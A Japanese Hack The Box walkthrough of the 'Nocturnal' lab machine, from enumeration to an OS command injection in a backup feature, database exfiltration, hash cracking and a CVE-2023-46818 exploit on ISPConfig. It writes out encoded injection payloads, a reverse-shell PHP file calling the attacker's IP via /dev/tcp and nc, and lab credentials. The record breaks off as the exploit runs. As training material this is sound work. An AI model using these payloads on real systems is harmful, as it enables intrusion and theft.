Hack The BoxのWriteup(Nocturnal)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのLinuxサーバの難易度Easyのマシンである「Nocturnal」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン
  (2) 名前解決のためのhostsファイル更新
  (3) Webアクセスできるファイル/ディレクトリ調査
  (4) Webサイトの動作確認
  (5) ファジングによるユーザー名調査
  (6) ファイル解析によるamandaユーザーのパスワード取得
  (7) Webサイトへamandaユーザーでログイン及び動作確認
  (8) OSコマンドインジェクションの実行可否確認
  (9) OSコマンドインジェクションのリバースシェル試行
  (10) OSコマンドインジェクションのデータベース取得
  (11) パスワードハッシュ値の解析
  (12) tobiasユーザーでSSHログイン
  (13) サーバの設定及びプロセス調査
  (14) ポートフォワードを用いた8080番ポートへのアクセス
  (15) 特権昇格(CVE-2023-46818の脆弱性悪用)


※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン


(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)のポートが応答がある。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.64
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-04 21:09 JST
Nmap scan report for 10.10.11.64
Host is up (0.36s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 554/tcp)
HOP RTT       ADDRESS
1   211.70 ms 10.10.16.1
2   427.59 ms 10.10.11.64

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.01 seconds


名前解決のためのhostsファイル更新


(1) ブラウザを用いて「http://10.10.11.64/」にアクセスすると、「http://nocturnal.htb/」にリダイレクトされる。

(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

$ echo '10.10.11.64 nocturnal.htb' | sudo tee -a /etc/hosts

$ cat /etc/hosts
   →「10.10.11.64 nocturnal.htb」が出力されることを確認する。


(3) ブラウザを用いて「http://nocturnal.htb/」にアクセスすると、Webページが表示される。


Webアクセスできるファイル/ディレクトリ調査


(1) feroxbusterを用いてアクセスできるURLを確認すると、「http://nocturnal.htb/login.php」や「http://nocturnal.htb/」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。

$ feroxbuster -u http://nocturnal.htb/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       21l       45w      649c http://nocturnal.htb/register.php
200      GET      161l      327w     3105c http://nocturnal.htb/style.css
200      GET       21l       45w      644c http://nocturnal.htb/login.php
200      GET       29l      145w     1524c http://nocturnal.htb/
301      GET        7l       12w      178c http://nocturnal.htb/backups => http://nocturnal.htb/backups/
[####################] - 2m     60003/60003   0s      found:5       errors:1
[####################] - 2m     30000/30000   218/s   http://nocturnal.htb/
[####################] - 2m     30000/30000   221/s   http://nocturnal.htb/backups/




(2) GoBusterを用いてアクセスできるURLを確認すると、「http://nocturnal.htb/backups/」のアクセス時のHTTPステータスコードが301番(リダイレクト)になっていることが分かる。

$ gobuster dir -u http://nocturnal.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Nocturnal_80.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://nocturnal.htb/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/backups              (Status: 301) [Size: 178] [--> http://nocturnal.htb/backups/]
/uploads2             (Status: 403) [Size: 162]
/uploads              (Status: 403) [Size: 162]
/uploads_admin        (Status: 403) [Size: 162]
/uploads_event        (Status: 403) [Size: 162]
/uploads_forum        (Status: 403) [Size: 162]
/uploads_video        (Status: 403) [Size: 162]
/uploads_user         (Status: 403) [Size: 162]
/uploads_group        (Status: 403) [Size: 162]
Progress: 20478 / 20479 (100.00%)
===============================================================
Finished
===============================================================




(3) dirsearchを用いてアクセスできるURLを確認すると、「http://nocturnal.htb/login.php」や「http://nocturnal.htb/register.php」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。

$ sudo dirsearch -u http://nocturnal.htb/
ーーー(省略)ーーー
[21:41:41] Starting:
[21:42:07] 302 -    0B  - /admin.php  ->  login.php
[21:42:26] 301 -  178B  - /backups  ->  http://nocturnal.htb/backups/
[21:42:26] 403 -  564B  - /backups/
[21:42:36] 302 -    0B  - /dashboard.php  ->  login.php
[21:42:56] 200 -  644B  - /login.php
[21:42:57] 302 -    0B  - /logout.php  ->  login.php
[21:43:15] 200 -  649B  - /register.php
[21:43:30] 403 -  564B  - /uploads
[21:43:30] 403 -  564B  - /uploads/dump.sql
[21:43:30] 403 -  564B  - /uploads/affwp-debug.log
[21:43:30] 403 -  564B  - /uploads/
[21:43:30] 403 -  564B  - /uploads_admin
[21:43:33] 302 -    3KB - /view.php  ->  login.php

Task Completed




(4) ブラウザを用いて「http://nocturnal.htb/backups/」にアクセスすると、HTTPステータスコード403 Forbiddenが表示される。

Webサイトの動作確認


(1) ブラウザを用いて「http://nocturnal.htb/backups/」にアクセスして、「register」をクリックする。


(2) 登録するユーザー情報(ユーザー名とパスワード)を入力して、「Register」をクリックする。今回は「test12345」というユーザー名を登録する。


(3) 登録したユーザー情報(ユーザー名とパスワード)を入力して、「Login」をクリックする。


(4) ファイルのアップロード画面が表示される。


(5) 「Browse…」をクリックして任意のファイルを選択する。その後、「Upload Fole」をクリックする。


(6) テキストファイルをアップロードすると、「Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed」というエラーメッセージが表示される。


(7) 「Browse…」をクリックして任意のPDFやEXCELファイルなどを選択する。その後、「Upload Fole」をクリックする。
今回は「tmp.pdf」というファイルをアップロードする。


(8) Your Files欄にアップロードしたファイルが表示されることを確認する。ファイルをクリックすると、「http://nocturnal.htb/view.php?username=[ユーザー名]&file=[ファイル名]」にアクセスすることが分かる。


(9) ご参考までに、Burp Suiteで通信内容を確認するとURLのリンク先を確認する。


ファジングによるユーザー名調査


(1) 通信内容などでクッキーの情報を確認する。


(2) ユーザー名を変更してレスポンスのバイト数を確認すると、登録されているユーザーと登録されていないユーザーによってレスポンスのバイト数が異なることが分かる。

【登録されているユーザー(test12345)の場合】
$ curl -L -s -o /dev/null -w '%{size_download}\n' 'http://nocturnal.htb/view.php?username=test12345&file=tmp.pdf' -H 'Cookie: PHPSESSID=rit0khbda9emn84lgn8lpbb8k6'
3417


【登録されていないユーザー(dummy)の場合】
$ curl -L -s -o /dev/null -w '%{size_download}\n' 'http://nocturnal.htb/view.php?username=dummy&file=tmp.pdf' -H 'Cookie: PHPSESSID=rit0khbda9emn84lgn8lpbb8k6'
2985


(3) ffufを用いてどのようなユーザーを使用しているか確認すると、admin、amanda、tobiasの3個のユーザーのレスポンスデータのバイト数が違うことが分かる。
参考までに登録されていないユーザーの場合は、レスポンスのバイト数が2985のため-fsオプションにてフィルタする。

$ ffuf -fs 2985 -u 'http://nocturnal.htb/view.php?username=FUZZ&file=tmp.pdf' -w /usr/share/seclists/Usernames/Names/names.txt -H 'Cookie: PHPSESSID=rit0khbda9emn84lgn8lpbb8k6' -o ffuf_result.txt


        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nocturnal.htb/view.php?username=FUZZ&file=tmp.pdf
 :: Wordlist         : FUZZ: /usr/share/seclists/Usernames/Names/names.txt
 :: Header           : Cookie: PHPSESSID=rit0khbda9emn84lgn8lpbb8k6
 :: Output file      : ffuf_result.txt
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 2985
________________________________________________

admin                   [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 1189ms]
amanda                  [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 195ms]
tobias                  [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 646ms]
:: Progress: [10177/10177] :: Job [1/1] :: 149 req/sec :: Duration: [0:01:10] :: Errors: 0 ::


ファイル解析によるamandaユーザーのパスワード取得


(1) 以下のURLにアクセスしたときのレスポンスのバイト数が違うことが分かっているため、ブラウザを用いてそれぞれのURLにアクセスする。

  • http://nocturnal.htb/view.php?username=admin&file=tmp.pdf
  • http://nocturnal.htb/view.php?username=amanda&file=tmp.pdf
  • http://nocturnal.htb/view.php?username=tobias&file=tmp.pdf








(2) ブラウザを用いて「http://nocturnal.htb/view.php?username=amanda&file=tmp.pdf」にアクセスし、privacy.odtをダウンロードする。


(3) fileコマンドでファイルタイプを確認すると、ODTファイル(OpenDocument Text)であることが分かる。

$ file privacy.odt
privacy.odt: OpenDocument Text


(4) ダウンロードしたprivacy.odtを解凍する。

$ unzip privacy.odt
Archive:  privacy.odt
 extracting: mimetype
   creating: Configurations2/accelerator/
   creating: Configurations2/images/Bitmaps/
   creating: Configurations2/toolpanel/
   creating: Configurations2/floater/
   creating: Configurations2/statusbar/
   creating: Configurations2/toolbar/
   creating: Configurations2/progressbar/
   creating: Configurations2/popupmenu/
   creating: Configurations2/menubar/
  inflating: styles.xml
  inflating: manifest.rdf
  inflating: content.xml
  inflating: meta.xml
  inflating: settings.xml
 extracting: Thumbnails/thumbnail.png
  inflating: META-INF/manifest.xml


(5) content.xmlの内容を確認すると、仮パスワードは「arHkG7HAI68X8s1J」であることが分かる。

$ xmllint --format content.xml
ーーー(省略)ーーー
      <text:p text:style-name="P1">Dear <text:span text:style-name="T1">Amanda</text:span>,</text:p>
      <text:p text:style-name="P1">Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.</text:p>
      <text:p text:style-name="P1">The file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.</text:p>
      <text:p text:style-name="P1">Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.</text:p>
ーーー(省略)ーーー


(6) 取得したパスワードでSSHでログイン試行するが、ログインできない。

$ ssh amanda@nocturnal.htb
amanda@nocturnal.htb's password:  ←パスワード(arHkG7HAI68X8s1J)を入力する。


Webサイトへamandaユーザーでログイン及び動作確認


(1) 「http://nocturnal.htb/login.php」にアクセスし、「ユーザー名:amanda」と「パスワード:arHkG7HAI68X8s1J」を入力しログインする。


(2) 左上部の「Go to Admin Panel」をクリックする。


(3) Webサイトのソースコードのファイル名の一覧が表示される。


(4) Webサイトのそれぞれのソースコードのファイル名をクリックすると、ソースコードの内容が表示されることを確認する。


(5) admin.phpの内容を確認すると、cleanEntry関数でバックアップのパスワードの文字列を制限しているが、$commandの文字列連結してOSコマンドを実行しているため、OSコマンドインジェクションができる可能性がある。

【admin.phpの内容(一部抜粋)】
function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }

    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
ーーー(省略)ーーー
if (isset($_POST['backup']) && !empty($_POST['password'])) {
    $password = cleanEntry($_POST['password']);
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

    if ($password === false) {
        echo "<div class='error-message'>Error: Try another password.</div>";
    } else {
        $logFile = '/tmp/backup_' . uniqid() . '.log';
       
        $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";
        
        $descriptor_spec = [
            0 => ["pipe", "r"], // stdin
            1 => ["file", $logFile, "w"], // stdout
            2 => ["file", $logFile, "w"], // stderr
        ];

        $process = proc_open($command, $descriptor_spec, $pipes);
        if (is_resource($process)) {
            proc_close($process);
        }


(6) 下部のCreate Backup欄にバックアップファイルのパスワードを入力して、「Create Backup」をクリックするとバックアップファイルが生成される。


(7) 下部の「Download Backup」をクリックして、バックアップファイルをダウンロードする。


(8) ダウンロードしたバックアップファイル(backup_YYYY-MM-DD.zip)を解凍する。

$ unzip backup_2025-05-05.zip
Archive:  backup_2025-05-05.zip
[backup_2025-05-05.zip] admin.php password:  ←設定したパスワードを入力して[Enter]キーを押す。
  inflating: admin.php
   creating: uploads/
  inflating: uploads/privacy.odt
  inflating: register.php
  inflating: login.php
  inflating: dashboard.php
  inflating: index.php
  inflating: view.php
  inflating: logout.php
  inflating: style.css


OSコマンドインジェクションの実行可否確認


(1) バックアップファイルを生成した通信を確認すると、POSTメソッドで「password=[パスワード]&backup=」の形でパラメータを送信していることが分かる。


(2) バックアップファイルを生成した通信を右クリックで選択し、「Send to Repeater」をクリックする。


(3) 「Repeater」をクリックする。


(4) passwordのパラメータを変更することでOSインジェクション攻撃が成功するかどうか確認するために、passwordの値を「%0Abash%09-c%09″id”0A」に変更して、「Send」をクリックする。
出力結果を確認すると、コマンド実行に成功しwww-dataユーザー権限で実行していることが分かる。

【実行するコマンド】
bash -c "id"

【送信するデータ】
%0Abash%09-c%09"id"0A

 ※「%0A」は改行、「%09」はタブを表している。



OSコマンドインジェクションのリバースシェル試行


(1) Kali Linux側で3333/tcpで待ち受ける。

$ nc -lnvp 3333


(2) Kali LinuxのIPアドレスを確認し、8081/tcpで待ち受けるWebサービスを起動する

$ ip a
  →Kali LinuxのVPN用のIPアドレスを確認する。今回のIPアドレスは「10.10.16.8」。

$ python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...


(3) 「bash -i >%26 /dev/tcp/[Kali LinuxのIPアドレス]/3333 0>%261」コマンドを実行してリバースシェルを実行したいが、admin.phpのcleanEntry関数にて’;’, ‘&’, ‘|’, ‘$’, ‘ ‘, ‘`’, ‘{‘, ‘}’, ‘&&’は使用できない。そのため、一旦コマンド実行するファイルを作成する。

$ vi reverse.php

【reverse.phpの内容】
<?php

system('bash -i >%26 /dev/tcp/10.10.16.8/3333 0>%261');
system('nc -nv 10.10.16.8 3333 -e /bin/bash');

?>


(4) passwordの値を「%0Abash%09-c%09″wget%0910.10.16.8:8081/reverse.php”%0A」に変更して、「Send」をクリックする。
出力結果を確認すると、reverse.phpファイルが攻撃対象のマシン(Nocturnal)にダウンロードされたことが分かる。

【実行するコマンド】
bash -c "wget 10.10.16.8:8081/reverse.php"

【送信するデータ】
%0Abash%09-c%09"wget%0910.10.16.8:8081/reverse.php"%0A

 ※「%0A」は改行、「%09」はタブを表している。




(5) passwordの値を「%0Abash%09-c%09″php%09reverse.php”%0A」に変更して、「Send」をクリックする。
出力結果を確認すると、エラーが出力されコマンドが実行できていないことが分かる。

【実行するコマンド】
bash -c "reverse.sh"

【送信するデータ】
%0Abash%09-c%09"php%09reverse.php"%0A

 ※「%0A」は改行、「%09」はタブを表している。




OSコマンドインジェクションのデータベース取得


(1) passwordの値を「%0Abash%09-c%09″find%09/%09-name%09*.db”%0A」に変更して、「Send」をクリックする。
出力結果を確認すると、「/var/www/nocturnal_database/nocturnal_database.db」というデータベースあることが分かる。

【実行するコマンド】
bash -c "find / -name *.db”

【送信するデータ】
%0Abash%09-c%09"find%09/%09-name%09*.db"%0A

 ※「%0A」は改行、「%09」はタブを表している。




(2) passwordの値を「%0Abash%09-c%09″base64%09/var/www/nocturnal_database/nocturnal_database.db”%0A」に変更して、「Send」をクリックする。
出力結果を確認すると、「nocturnal_database.db」の内容をBASE64でデコードした結果が出力される。

【実行するコマンド】
bash -c "base64 /var/www/nocturnal_database/nocturnal_database.db”

【送信するデータ】
%0Abash%09-c%09"base64%09/var/www/nocturnal_database/nocturnal_database.db"%0A

 ※「%0A」は改行、「%09」はタブを表している。




(3) 右クリックして、「Copy to file」をクリックする。


(4) テキストで開いてBASE64でエンコードした箇所以外は削除して、ファイルを保存する。今回はresponse.txtというファイル名で保存する。


(5) catコマンドでファイルを開いてBASE64でエンコードした箇所が保存されていることを確認する。

$ cat response.txt
U1FMaXRlIGZvcm1hdCAzABAAAQEAQCAgAAAAEgAAAAUAAAAAAAAAAAAAAAIAAAAEAAAAAAAAAAAA
AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAC4/2Q0P+AAEDeYADzUPzQ7j
DeYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ーーー(省略)ーーー
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAQFAAEjMwJwcml2YWN5Lm9kdDIw
MjQtMTAtMTggMDI6MDU6NTM=



(6) BASE64でデコードしてnocturnal_database.dbを復元する。

$ base64 -d response.txt > nocturnal_database.db


(7) fileコマンドでファイルタイプを確認すると、SQLiteのデータベースであることが分かる。

$ file nocturnal_database.db
nocturnal_database.db: SQLite 3.x database, last written using SQLite version 3031001, file counter 18, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 18


(8) sqlite3コマンドでデータベース(nocturnal_database.db)にアクセスする。

$ sqlite3 nocturnal_database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> 


(9) .tableコマンドを実行して、テーブル一覧を表示する。

sqlite> .table
uploads  users


(10) usersテーブルの内容を表示すると、ユーザー名とパスワードハッシュ値の一覧が表示される。

sqlite> .schema
CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT NOT NULL UNIQUE,
    password TEXT NOT NULL
);
CREATE TABLE sqlite_sequence(name,seq);
CREATE TABLE uploads (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    user_id INTEGER NOT NULL,
    file_name TEXT NOT NULL,
    upload_time DATETIME DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY(user_id) REFERENCES users(id)
);


sqlite> select * from users;
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
6|kavi|f38cde1654b39fea2bd4f72f1ae4cdda
7|e0Al5|101ad4543a96a7fd84908fd0d802e7db
8|test12345|dc647eb65e6711e155375218212b3964


(11) .exitコマンドを実行し、データベースへの接続を終了する。

sqlite> .exit


パスワードハッシュ値の解析


(1) データベースに記載されたパスワードハッシュ値を解析すると、tobiasユーザーのパスワードが「slowmotionapocalypse」であることが分かる。adminユーザーなどその他のパスワードハッシュ値を解析したが、特定できなかった。

$ echo "55c82b1ccd55ab219b3b109b07d5061d" > tobias_hash.txt


$ hashcat -m 0 tobias_hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
ーーー(省略)ーーー
55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 55c82b1ccd55ab219b3b109b07d5061d
Time.Started.....: Thu May  8 20:55:59 2025 (1 sec)
Time.Estimated...: Thu May  8 20:56:00 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  6120.2 kH/s (0.07ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3694592/14344385 (25.76%)
Rejected.........: 0/3694592 (0.00%)
Restore.Point....: 3693568/14344385 (25.75%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: slowsuds -> slondrita
Hardware.Mon.#1..: Util: 73%


tobiasユーザーでSSHログイン


(1) tobiasユーザーで攻撃対象のマシン(Nocturnal)にログインする。

$ ssh tobias@nocturnal.htb
tobias@nocturnal.htb's password:   ←パスワード(slowmotionapocalypse)を入力して[Enter]
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)
ーーー(省略)ーーー
tobias@nocturnal:~$


(2) 一般ユーザー用のフラグファイルを確認する。

$ cat /home/tobias/user.txt
f34ebdfd39217fa132ee28ab6feac38d


サーバの設定及びプロセス調査


(1) sudoコマンドの設定を確認しても何も設定されていないことが分かる。

$ sudo -l
[sudo] password for tobias:   ←パスワード(slowmotionapocalypse)を入力して[Enter]
Sorry, user tobias may not run sudo on nocturnal.


(2) SUIDファイルを検索するが、特に気になるファイルはない。

$ find / -perm -u=s -type f 2> /dev/null
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/fusermount
/usr/bin/sudo
/usr/bin/umount
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign


(3) /etc/passwdと/etc/shadowの内容を確認するが、特に気になる設定はない。

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
tobias:x:1000:1000:tobias:/home/tobias:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
ispapps:x:1001:1002::/var/www/apps:/bin/sh
ispconfig:x:1002:1003::/usr/local/ispconfig:/bin/sh
smmta:x:115:120:Mail Transfer Agent,,,:/var/lib/sendmail:/usr/sbin/nologin
smmsp:x:116:121:Mail Submission Program,,,:/var/lib/sendmail:/usr/sbin/nologin
_laurel:x:997:997::/var/log/laurel:/bin/false


$ cat /etc/shadow
cat: /etc/shadow: Permission denied


(4) netstatで起動しているサービスのポート番号を確認すると、8080番ポートが起動していることが分かる。

$ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:587           0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0    208 10.10.11.64:22          10.10.16.8:51044        ESTABLISHED
tcp6       0      0 :::22                   :::*                    LISTEN
udp        0      0 127.0.0.53:53           0.0.0.0:*


(5) 8080番ポートで起動しているプロセスを確認すると、「/usr/bin/php -S 127.0.0.1:8080」が動作しているため、Webサーバとして動作していることが分かる。また、rootユーザーで実行していることが分かる。

$ ps aux | grep 8080
root         817  0.0  0.6 211568 27100 ?        Ss   May07   0:04 /usr/bin/php -S 127.0.0.1:8080
tobias      9412  0.0  0.0   6432   720 pts/0    S+   12:28   0:00 grep --color=auto 8080


ポートフォワードを用いた8080番ポートへのアクセス


(1) Kali Linuxの8088番ポートに接続すると、攻撃対象のマシン(Nocturnal)の8000番にアクセスするようにポートフォワードの設定をする。

※Kali Linux上で以下のコマンドを実行する。

$ ssh tobias@nocturnal.htb -L 8088:127.0.0.1:8080
tobias@nocturnal.htb's password:   ←パスワード(slowmotionapocalypse)を入力して[Enter]
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)
ーーー(省略)ーーー
tobias@nocturnal:~$


(2) ブラウザを起動して「http://127.0.0.1:8088/」にアクセスすると、ISPConfigのログイン画面が表示される。


(3) 右クリックをして、「View Page Source」をクリックする。


(4) ソースコードを確認すると、ISPConfigのバージョンが3.2であることが分かる。

<link rel='stylesheet' href='../themes/default/assets/stylesheets/ispconfig.css?ver=3.2' />
<link rel='stylesheet' href='../themes/default/assets/stylesheets/pushy.min.css' />
<link rel='stylesheet' href='../themes/default/assets/stylesheets/bootstrap-datetimepicker.min.css' />




(5) ISPConfigのログイン画面にて「ユーザー名:admin」、「パスワード:slowmotionapocalypse」でログインできるか確認する。


(6) ログインに成功しISPConfigの画面が表示される。



特権昇格(CVE-2023-46818の脆弱性悪用)


(1) 「ISPConfig 3.2 exploit」でGoogle検索すると、「CVE-2023-46818 : PHP Code Injection」の脆弱性があり、「https://github.com/ajdumanhug/CVE-2023-46818」に攻撃コードが公開されていることが分かる。

(2) CVE-2023-46818の攻撃コードを実行するための準備をする。

$ git clone https://github.com/ajdumanhug/CVE-2023-46818
Cloning into 'CVE-2023-46818'...
remote: Enumerating objects: 21, done.
remote: Counting objects: 100% (21/21), done.
remote: Compressing objects: 100% (19/19), done.
remote: Total 21 (delta 4), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (21/21), 8.57 KiB | 8.57 MiB/s, done.
Resolving deltas: 100% (4/4), done.


$ cd CVE-2023-46818


$ ls -l
合計 8
-rw-rw-r-- 1 kali kali 3636  5月  8 22:41 CVE-2023-46818.py
-rw-rw-r-- 1 kali kali 1196  5月  8 22:41 README.md


(3) CVE-2023-46818を悪用した攻撃をして、成功してプロンプトが表示されたことを確認する。

$ python3 CVE-2023-46818.py http://127.0.0.1:8088 admin slowmotionapocalypse
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Login successful!
[+] Fetching CSRF tokens...
[+] CSRF ID: language_edit_c4bc4f629ce4460386f53d7a
[+] CSRF Key: 0f40ee7c1ca27d558dccf89924f2588817f0a452
[+] Injecting shell payload...
